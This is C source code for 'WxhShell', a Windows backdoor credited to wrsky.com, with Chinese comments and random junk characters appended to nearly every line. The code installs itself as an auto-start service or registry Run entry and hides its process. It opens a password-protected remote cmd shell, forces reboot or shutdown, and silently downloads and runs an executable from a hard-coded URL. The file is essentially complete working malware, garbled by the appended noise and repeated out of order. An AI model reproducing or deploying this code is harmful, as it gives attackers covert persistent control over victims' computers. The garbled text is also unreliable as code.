    closesocket(wsh); mY)Y47iL  
    ExitThread(0); =&!L&M<<  
    } I[x+7Y0k9  
    break; (plsL   
    } vp[;rDsIJ$  
  // 获取shell We8n20wf<  
  case 's': { a?d)l nk  
    CmdShell(wsh); w[K!m.p,u  
    closesocket(wsh); ?k 4|;DD  
    ExitThread(0); @nh* H{  
    break; ,m HQ  
  } FX->_}kL=  
  // 退出 :rdw0EROy  
  case 'x': { !vrdu OB  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); J{69iQ  
    CloseIt(wsh); J2KULXF  
    break; brdfj E8  
    } `U.VfQR:  
  // 离开 51)Q&,Mo#  
  case 'q': { K3;lst>4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); u@@0YUa  
    closesocket(wsh); =V[ey  
    WSACleanup();  pxuZ=<  
    exit(1); !5wuBJ0  
    break; 9B&fEmgEc?  
        } 3IlflXb  
  } &|'t>-de,  
  } 5PRS|R7  
{hNvCk  
  // 提示信息 >l>;"R9N  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +H4H$H  
} )-u0n] ,  
  } "44A#0)B'l  
iC.k8r+~  
  return; #+Pk_?  
} {,9^k'9  
)tD[Ffvr  
// shell模块句柄 J^Mq4&  
int CmdShell(SOCKET sock) wuV*!oefo  
{ }JWLm.e  
STARTUPINFO si; ov9+6'zya  
ZeroMemory(&si,sizeof(si)); MT3TWWtZ:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?x\tE]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .^F(&c*['  
PROCESS_INFORMATION ProcessInfo; !Z}d^$  
char cmdline[]="cmd"; C 7a$>#%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); lG>,&(  
  return 0; Dus [N< w  
} 2BGS$$pP  
jfOqE*frl!  
// 自身启动模式 ;UnJrP-if  
int StartFromService(void) \I[f@D-J  
{ P\nz;}nv  
typedef struct g2|qGfl{C  
{ en?J#fz  
  DWORD ExitStatus; 6 o!*bWh  
  DWORD PebBaseAddress; !%lcn O  
  DWORD AffinityMask; uex m|5|  
  DWORD BasePriority; )UoF*vC(  
  ULONG UniqueProcessId; :p|wo"=@Ge  
  ULONG InheritedFromUniqueProcessId; "B34+fOur  
}   PROCESS_BASIC_INFORMATION; Af`qe+0E  
cN&]JS,  
PROCNTQSIP NtQueryInformationProcess; bZKlQ<sI  
\$B%TY  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; IHs^t/;Iv  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; p7{%0  
er44s^$  
  HANDLE             hProcess; i*\\j1mf  
  PROCESS_BASIC_INFORMATION pbi; $[*QsU%%  
_=Eb:n+X  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); dJ|/.J$d  
  if(NULL == hInst ) return 0; R?E< }\!  
9()d7Y#d/`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =mQdM]A)2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); YK V?I   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _ mJP=+i  
AW')*{/(Ii  
  if (!NtQueryInformationProcess) return 0; mFa%d8Y  
cmu|d  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); H-g CY|W  
  if(!hProcess) return 0; z=[?&X]O9b  
9ZVzIv(   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; a^5.gfzA  
z,+LPr  
  CloseHandle(hProcess); .VG5 / 6zp  
ri?k}XnhX  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); HVLj(_ A  
if(hProcess==NULL) return 0; +f"q^RIU  
ENhKuX  
HMODULE hMod; W3E7y?  
char procName[255]; (/;<K$u*h  
unsigned long cbNeeded; !$Whftg  
N, SbJ Z  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \96aHOk<  
P~^VLnw  
  CloseHandle(hProcess); |J^}BXW'^)  
41XS/# M$*  
if(strstr(procName,"services")) return 1; // 以服务启动 R[vA%G  
uozK'L  
  return 0; // 注册表启动 g=)OcTd#  
} ;QS(`SK l  
*Ud=x^JxO  
// 主模块 ~bnyk%S o  
int StartWxhshell(LPSTR lpCmdLine) t E(_Cg  
{ cME|Lg(J$  
  SOCKET wsl; 30fqD1_{  
BOOL val=TRUE; (O-.^VV  
  int port=0; :v Do{My^1  
  struct sockaddr_in door; 9%& =n  
!l|fzS8g  
  if(wscfg.ws_autoins) Install(); HOSt0IHzty  
ggL^*MV  
port=atoi(lpCmdLine); uWjSqyb:  
e anR$I;Yj  
if(port<=0) port=wscfg.ws_port; s%/x3anz=  
Gv\:Agi  
  WSADATA data; ;%a  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; );!IGcgF  
kdW$>Jqb  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ; nc3O{rU  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); U.A:'9K,  
  door.sin_family = AF_INET; 6^VPRp  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); k esuM3  
  door.sin_port = htons(port); !4vepa}Y  
1a]QNl_x  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { K'f`}y9  
closesocket(wsl); 7wz9x8\t  
return 1; zXZXp~7)  
} {g7~e {2  
*o}7&Hw#9f  
  if(listen(wsl,2) == INVALID_SOCKET) { >XJUj4B|X  
closesocket(wsl); a\ZNNk  
return 1; epGC Ta  
} ncdj/C  
  Wxhshell(wsl); 'B9q&k%<  
  WSACleanup(); /I48jO^2  
60--6n  
return 0; L]Dq1q8`  
_~.S~;o!b  
} wBI>H 7A  
T8NDS7&?  
// 以NT服务方式启动 6m mc{kw'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) pg.BOz\'q  
{ K};~A?ET,h  
DWORD   status = 0; 1"S~#  
  DWORD   specificError = 0xfffffff; {wh, "Ok_  
fJD+GvV$x  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +5"Pm]oRbx  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [79iC$8B|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~s2la~gu  
  serviceStatus.dwWin32ExitCode     = 0; ] XjL""EbC  
  serviceStatus.dwServiceSpecificExitCode = 0; uN@El1ouY  
  serviceStatus.dwCheckPoint       = 0; :$Xvq-#$|  
  serviceStatus.dwWaitHint       = 0; Vb,'VN%   
x(7Q5Uk\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); td5! S]  
  if (hServiceStatusHandle==0) return; Q" G;L  
Cg3 d  
status = GetLastError(); ST1c`0e  
  if (status!=NO_ERROR) 61Wh %8-  
{ N oRPvFv  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; fL~@v-l#~  
    serviceStatus.dwCheckPoint       = 0; !g4u<7  
    serviceStatus.dwWaitHint       = 0; ymb{rKkN3  
    serviceStatus.dwWin32ExitCode     = status; m[qW)N:w  
    serviceStatus.dwServiceSpecificExitCode = specificError; x5R|,bY  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _sK{qQxvM=  
    return; g4^3H3Pd  
  } +?v2MsF']  
*nSKIDw  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %[x PyqX  
  serviceStatus.dwCheckPoint       = 0; qF Xx/FZ  
  serviceStatus.dwWaitHint       = 0; 8EY]<#PN  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ihd^P]  
} w>wzV=R  
?izl#?  
// 处理NT服务事件,比如:启动、停止 p&2oe\j$,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) p:zRgwcn  
{ #|/ +znJm  
switch(fdwControl) }=p+X:k=  
{ GL,( N|  
case SERVICE_CONTROL_STOP: .'bhRQY  
  serviceStatus.dwWin32ExitCode = 0; J1Run0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @_0tq{  
  serviceStatus.dwCheckPoint   = 0; H;MyT Vl  
  serviceStatus.dwWaitHint     = 0; `r]C%Y4?  
  { =Q#d0Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); CU@}{}Yl  
  } dWP<,Z>  
  return; R$bDj >8  
case SERVICE_CONTROL_PAUSE: SBg|V  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 20/P:;  
  break; <>H^:iqn  
case SERVICE_CONTROL_CONTINUE: jI%glO'2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *iVE O  
  break; (_=R<:  
case SERVICE_CONTROL_INTERROGATE: {uurLEe?  
  break; 3.6Gh|7  
}; 1D1qOg"LE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fZb}-  
} Gn^m541  
$"ACg!=M  
// 标准应用程序主函数 Y|S>{$W  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?\$6"c<G  
{ 6w~Cyu4Ov  
1E=E ?$9sg  
// 获取操作系统版本 x(A8FtG  
OsIsNt=GetOsVer(); 40G'3HOp  
GetModuleFileName(NULL,ExeFile,MAX_PATH); zEt!Pug  
W'6sY@0m  
  // 从命令行安装 F+!9T  
  if(strpbrk(lpCmdLine,"iI")) Install(); a U*}.{<!  
}/QtIY#I  
  // 下载执行文件 Vwb_$Yi+]  
if(wscfg.ws_downexe) { FuC \qF  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) xdh%mG:?  
  WinExec(wscfg.ws_filenam,SW_HIDE); g3f; JB   
} QUDpAW  
NAOCQDk{  
if(!OsIsNt) { 7^C&2k 5G  
// 如果时win9x,隐藏进程并且设置为注册表启动 iN_P25Z<r  
HideProc(); /[!<rhY  
StartWxhshell(lpCmdLine); g(i8HU*{q  
} $LVzhQlD  
else [eFJ+|U9  
  if(StartFromService()) .DM-&P  
  // 以服务方式启动 B!U;a=ia  
  StartServiceCtrlDispatcher(DispatchTable); 5A+@xhRf  
else *T~b ox  
  // 普通方式启动 1024L;  
  StartWxhshell(lpCmdLine); e*Y<m\*  
^!z(IE'  
return 0; MT6"b  
} -Jt36|O  
Z!3R  
8nwps(3  
r7FJqd  
=========================================== TfHL'u9B  
4s@Tn>%SP  
'Fql;&U >  
Q%524%f$  
\BX9Wn*)a  
_l2_) ~  
" [^D>xD3B2  
L1f=90  
#include <stdio.h> x_CY`Y  
#include <string.h> MRg Ozg  
#include <windows.h> }rUAYr~VZ  
#include <winsock2.h> iH~A7e62OZ  
#include <winsvc.h> 7$x%A&]  
#include <urlmon.h> Yr>0Qg],  
b1;h6AeL  
#pragma comment (lib, "Ws2_32.lib") -/2B fIq  
#pragma comment (lib, "urlmon.lib") @$iZ9x6t  
= 5[%%Lf  
#define MAX_USER   100 // 最大客户端连接数 nw_s :  
#define BUF_SOCK   200 // sock buffer L4Kg%icz l  
#define KEY_BUFF   255 // 输入 buffer al9( 9)  
_%Yi ^^  
#define REBOOT     0   // 重启 kP'm$+1or  
#define SHUTDOWN   1   // 关机 p:W{c/tV  
5nTcd@lX  
#define DEF_PORT   5000 // 监听端口 !a25cm5ys  
\XwC|[%P  
#define REG_LEN     16   // 注册表键长度 !2>@:CKX  
#define SVC_LEN     80   // NT服务名长度 B&_Z&H=  
I0qJr2[X~  
// 从dll定义API /nv+*+Q?d  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); : dNJ2&kJ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Gpi_p  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,Xr`tQ<@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); bI`JG:^b  
0 /9 C=v  
// wxhshell配置信息 \hn$-'=4  
struct WSCFG { 78r0K 5=  
  int ws_port;         // 监听端口 Xvoz4'Gme  
  char ws_passstr[REG_LEN]; // 口令 1Wiz0X/  
  int ws_autoins;       // 安装标记, 1=yes 0=no wS+!>Q_]w  
  char ws_regname[REG_LEN]; // 注册表键名 b- bvkPN  
  char ws_svcname[REG_LEN]; // 服务名 j dz IU  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 X8ZO } X  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ' sNiJ>  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .Z#/%y3S  
int ws_downexe;       // 下载执行标记, 1=yes 0=no c&,q`_t  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" oz]&=>$1I  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \ \Tz'>[\  
 D[}^G5  
}; t&NpC;>v  
RWX!d54&  
// default Wxhshell configuration :H&G}T(#  
struct WSCFG wscfg={DEF_PORT, a>rDJw:  
    "xuhuanlingzhe", QPh3(K1w^  
    1, BoST?"&}'  
    "Wxhshell", W-gu*iZ6&  
    "Wxhshell", Z`86YYGK  
            "WxhShell Service", t\ a|Gp W  
    "Wrsky Windows CmdShell Service", p&5>j\uJ1&  
    "Please Input Your Password: ", y/kB`Z(Yj  
  1, 0igB pHS  
  "http://www.wrsky.com/wxhshell.exe", @rA V;D%  
  "Wxhshell.exe" W/b)OlG"2  
    }; La3rX  
k{=dV  
// 消息定义模块 +S[3HX7H  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .gzfaxi  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ``I[1cC  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; MJrPI a[pN  
char *msg_ws_ext="\n\rExit."; 3Pgokj   
char *msg_ws_end="\n\rQuit."; >\3\&[#"  
char *msg_ws_boot="\n\rReboot..."; Ok|Dh;1_  
char *msg_ws_poff="\n\rShutdown..."; VIN0kRQ#  
char *msg_ws_down="\n\rSave to "; RgW#z-PZF  
mwyB~,[d+W  
char *msg_ws_err="\n\rErr!"; A_WaRYG  
char *msg_ws_ok="\n\rOK!"; z1 MT@G)S$  
6/?onEL9_  
char ExeFile[MAX_PATH]; eB=&(ZT  
int nUser = 0; Gi#-TP\  
HANDLE handles[MAX_USER]; RjTGm=1w  
int OsIsNt; <P'FqQ]  
'TuaP `]<  
SERVICE_STATUS       serviceStatus; !c{F{ t-a  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $IjI{%  
U8y?S]}vo  
// 函数声明 R&&&RI3{  
int Install(void); jWV}U a  
int Uninstall(void); yP>025o't  
int DownloadFile(char *sURL, SOCKET wsh); T:Ee6I 3l  
int Boot(int flag); H0sTL#/L\  
void HideProc(void); E`V\/`5D  
int GetOsVer(void); ;,e16^\' &  
int Wxhshell(SOCKET wsl); B /w&Lo  
void TalkWithClient(void *cs); F?05+  
int CmdShell(SOCKET sock); PgGUs4[  
int StartFromService(void); -zn_d]NV  
int StartWxhshell(LPSTR lpCmdLine); 5V\",PA W  
JAP(J~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3fB]uq+eD%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Hk@Gkx_  
K1BBCe  
// 数据结构和表定义 ciiI{T[Z  
SERVICE_TABLE_ENTRY DispatchTable[] = '21gUYm  
{ )wCNLi>4  
{wscfg.ws_svcname, NTServiceMain}, T_=WX_h $  
{NULL, NULL} )7.DF|A  
}; &e;Qabwxva  
c-}[v<o  
// 自我安装 % @+j@i`&  
int Install(void) QIevps*  
{ 'L-DMNxBr  
  char svExeFile[MAX_PATH]; M@<9/xPS  
  HKEY key; f,Dic%$q  
  strcpy(svExeFile,ExeFile);  X(X[v]  
,Kl?-W@  
// 如果是win9x系统,修改注册表设为自启动 X-kOp9/.  
if(!OsIsNt) { +egwZ$5I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n*A1x8tn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FVBAB>   
  RegCloseKey(key); 0V21_".S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X?wZ7*'1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Bf;_~1+vLG  
  RegCloseKey(key); `OWHf?t:  
  return 0; y%; o  
    } q~[s KAh  
  } mfaU_Vo&  
} uf9&o#  
else { QDV+(  
{?IbbT  
// 如果是NT以上系统,安装为系统服务 9A} *  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #Xox2{~  
if (schSCManager!=0) FE&:?  
{ F;8Q`$n  
  SC_HANDLE schService = CreateService Q=fl!>P  
  ( %dg[ho  
  schSCManager, ,xVAJ6_#  
  wscfg.ws_svcname, (IVhj^dQm  
  wscfg.ws_svcdisp, oD9n5/ozo  
  SERVICE_ALL_ACCESS, _"L6mcI6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Z%:>nDZV  
  SERVICE_AUTO_START, S6JXi>n  
  SERVICE_ERROR_NORMAL, $*iovam>^]  
  svExeFile, vno/V#e$WX  
  NULL,  e]1Zey  
  NULL, ^N|8 B?Vg  
  NULL, v[^8_y}A`  
  NULL, ~"#HHaBO#  
  NULL JHvev,#4  
  ); kVs YB  
  if (schService!=0) OM&GypP6&  
  { 4d4+%5GE  
  CloseServiceHandle(schService); ] 2qKc  
  CloseServiceHandle(schSCManager); M?%x= q\<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9g5h~ Ma  
  strcat(svExeFile,wscfg.ws_svcname); = a60Xv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -[ gT}{k!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); BDWbWA 6  
  RegCloseKey(key); 'u;O2$  
  return 0; _3yG<'f[Y  
    } +jwHYfAK)  
  } `w\P- q  
  CloseServiceHandle(schSCManager); 9yC22C:  
} tOLcnWt   
} ~vt9?(h  
:vG0 l\  
return 1; % J^x `P  
} ^zQI_ydG  
60u_,@rV  
// 自我卸载 2*V[kmD/3  
int Uninstall(void) ~r5S{&  
{ U>f'j;5  
  HKEY key; ($[+dR  
@:9Gs!!  
if(!OsIsNt) { Gb\PubJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { diY7<u#  
  RegDeleteValue(key,wscfg.ws_regname); R8Vf6]s_  
  RegCloseKey(key); Q'jw=w!|g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ()l3X.t,$  
  RegDeleteValue(key,wscfg.ws_regname); ~BmA!BZV`  
  RegCloseKey(key); ji1vLu4|t  
  return 0; 0zB[seyE  
  } "O4A&PJD  
} r9})~>   
} 5P-t{<]tx  
else { ([dd)QU  
X$ ZVY2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); A!B.+p[ G  
if (schSCManager!=0) 4v hz`1  
{ u6ULk<<\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Y -a   
  if (schService!=0) <SI|)M,, 3  
  { V+O,y9  
  if(DeleteService(schService)!=0) { 6~x'~T  
  CloseServiceHandle(schService); 2]]v|Z2M4  
  CloseServiceHandle(schSCManager); P$#:$U @  
  return 0; 6D`n^uoP  
  } nOL"6%q  
  CloseServiceHandle(schService); mnsl$H_4S  
  } XAU%B-l:  
  CloseServiceHandle(schSCManager); QE\ [ EI2  
} bT^dtEr[  
} WqCC4R,-  
QH9t |l  
return 1; l\*9rs:!  
} @5S'5)4pB  
Q7$o&N{  
// 从指定url下载文件 "a8E0b  
int DownloadFile(char *sURL, SOCKET wsh) .PUp3X-  
{ !{t|z=Qg  
  HRESULT hr; #;j:;LRU  
char seps[]= "/"; WI/tWj0  
char *token; Ec@n<KK#  
char *file; 2+ cs^M3  
char myURL[MAX_PATH]; Sz go@x$^  
char myFILE[MAX_PATH]; wwB3m&  
Lz'VQO1U=  
strcpy(myURL,sURL); *7jz(iX  
  token=strtok(myURL,seps); 0B]q /G(  
  while(token!=NULL) +y?Ilkk;j  
  { Z,.Hz\y1D  
    file=token; WR"D7{>tw  
  token=strtok(NULL,seps); YOD.y!.zq7  
  } TQF+aP8[L  
GBbnR:hM  
GetCurrentDirectory(MAX_PATH,myFILE); #4msBax4  
strcat(myFILE, "\\"); x?+w8jSR  
strcat(myFILE, file); 'j6O2=1  
  send(wsh,myFILE,strlen(myFILE),0);  mLxgvp  
send(wsh,"...",3,0); (?na|yd  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }|kFHodo  
  if(hr==S_OK) k||t<&`Ze  
return 0; W-=6:y#A  
else eyCZ[SC  
return 1; h^yqrDyJ  
`GCoi ?n7  
} "tzu.V-  
9Rnypzds  
// 系统电源模块 }aVZ\PDg  
int Boot(int flag) 3 !@  
{ "d_wu#fO)  
  HANDLE hToken; YNEwX$)M,B  
  TOKEN_PRIVILEGES tkp; JNfL jfE)<  
) CP  
  if(OsIsNt) { (j&:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \!-BR0+y;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "+F'WCJ-(*  
    tkp.PrivilegeCount = 1; y>P+"Z.K%}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $oK&k}Q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *|fF;-#v  
if(flag==REBOOT) { +(3_V$|Dv  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ::|~tLFu  
  return 0; >X*tMhcb  
} 7MKX`S  
else { hzqJ!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) U#` e~d t<  
  return 0; mLX/xM/T?/  
}  x]+PWk  
  } "jFf}"  
  else { )D,KG_7l  
if(flag==REBOOT) { t~) P1Lof\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) o}OY,P  
  return 0; wGc7  
} cuhp4!!  
else { \H fAKBT  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]ordqulq1  
  return 0; c{1;x)L  
} ^,>w`8  
} o|kykxcq  
5X)8Nwbc  
return 1; fK J-/{|  
} @NiuT%#c  
\CL8~  
// win9x进程隐藏模块 ANM#Kx+  
void HideProc(void) Ax;[Em?I  
{  ?Y(  
,QY$:f<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,&P 4%N"  
  if ( hKernel != NULL ) VfX^iG r  
  { ->sxz/L  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); lB,1dw2(T  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); w&p+mJL.  
    FreeLibrary(hKernel); 3 jZMXEG)  
  } 4b8G 1fm  
9L=mS  
return; 7*!7EBb  
} 95l)s],  
1)ue-(o5  
// 获取操作系统版本 >t+U`6xK  
int GetOsVer(void) u"[f\l  
{ j9p6 rD  
  OSVERSIONINFO winfo; #De>EQ%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #,%bW[L<N  
  GetVersionEx(&winfo); ?d7,0Ex P  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) x< A-Ws{^V  
  return 1; -NBVUUAgN  
  else V(MYReaPC]  
  return 0; f[@96p ?a[  
} v"USD<   
:<QknU}dwy  
// 客户端句柄模块 d*@T30  
int Wxhshell(SOCKET wsl) e97G]XLR  
{ <xI<^r'C9e  
  SOCKET wsh; X?5{2ulrI  
  struct sockaddr_in client; Hn|W3U  
  DWORD myID; )4yP(6|lx  
8dGsV5"*  
  while(nUser<MAX_USER) BI1M(d#1L"  
{ ,>;21\D  
  int nSize=sizeof(client); aZFpt/.d  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $D bnPZ2$  
  if(wsh==INVALID_SOCKET) return 1; 17LhgZs&  
5 ~Wg=u<6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); I |Oco?Q"  
if(handles[nUser]==0) }Q\%tZC#T  
  closesocket(wsh); q~ H>rC(\  
else x/*lNG/  
  nUser++; to={q CqU  
  } 82r8K|L.<y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -$Oh.B`i  
<DF3!r  
  return 0; 1Cr&6't  
} ,"v&r(  
cU1o$NRx  
// 关闭 socket LP2~UVq  
void CloseIt(SOCKET wsh) [h/T IGE\  
{  ;Shu  
closesocket(wsh); lA^1}  
nUser--; b9b Ivjm_  
ExitThread(0); M5dYcCDE  
} 1[FN: hm  
hlzB cz*  
// 客户端请求句柄 /0s1;?  
void TalkWithClient(void *cs) eV9U+]C`  
{ pv_o4qEN  
3:J>-MO  
  SOCKET wsh=(SOCKET)cs; AGlBvRX7e  
  char pwd[SVC_LEN]; G@]3EP  
  char cmd[KEY_BUFF]; .wfydu)3  
char chr[1]; @!8aZB3odt  
int i,j; rB>ge]$.  
~6G `k^!  
  while (nUser < MAX_USER) { c;l!i-  
NR4+&d  
if(wscfg.ws_passstr) { 0SQ!lr  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >)>f~>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;Afz`Se1@  
  //ZeroMemory(pwd,KEY_BUFF); M\ATT%b:  
      i=0; ,06Sm]4L,  
  while(i<SVC_LEN) { R9J!}az'  
nm^HL|  
  // 设置超时 E~!$&9\  
  fd_set FdRead; i8]EIXbMX  
  struct timeval TimeOut; kiTC)S=])  
  FD_ZERO(&FdRead); I/E9:  
  FD_SET(wsh,&FdRead); + G@N  
  TimeOut.tv_sec=8; N /4E ~^2  
  TimeOut.tv_usec=0; wKJG 31I^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Myq8`/_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); EVmBLH-a  
s9 - qR_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1I Xtu   
  pwd=chr[0]; .#[ 9q-  
  if(chr[0]==0xd || chr[0]==0xa) {  wJp<ZL  
  pwd=0; 57\ 0MQO  
  break; d:kB Zrq  
  } K<S3gb?0  
  i++; &:&'70Ya  
    } \Kl20?  
?ZF):}r vZ  
  // 如果是非法用户,关闭 socket epy2}TI  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); J8ni}\f  
} Sd7jd?#9'  
c(Q@5@1y:  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Dqy`7?Kn  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MAh1tYs4D  
#2tmi1 ya  
while(1) { a5*r1,  
pMfb(D"  
  ZeroMemory(cmd,KEY_BUFF); 1%Xh[  
?f?5Kye  
      // 自动支持客户端 telnet标准   q}U+BTCZ  
  j=0; L2H  
  while(j<KEY_BUFF) { w~ Tg?RH:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xSY"Ru  
  cmd[j]=chr[0]; ~\":o:qyc  
  if(chr[0]==0xa || chr[0]==0xd) { atL<mhRz  
  cmd[j]=0; X%Ok ">  
  break; J%"BCbxW~B  
  } t.P@Ba^  
  j++; lQ 8hY$  
    } br I;}m  
Exb64n-_=  
  // 下载文件 7;jD>wp 9D  
  if(strstr(cmd,"http://")) { &@iOB #H  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +,e#uuj$p  
  if(DownloadFile(cmd,wsh)) |UTajEL  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _ *f>UW*,  
  else #U:|- a.>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9q'9i9/3d  
  } ]]j^  
  else { Q-7?'\h  
B;k'J:-"  
    switch(cmd[0]) { __=53]jGE  
  $1yy;IyR  
  // 帮助 ucN' zq  
  case '?': { >wW{ $  
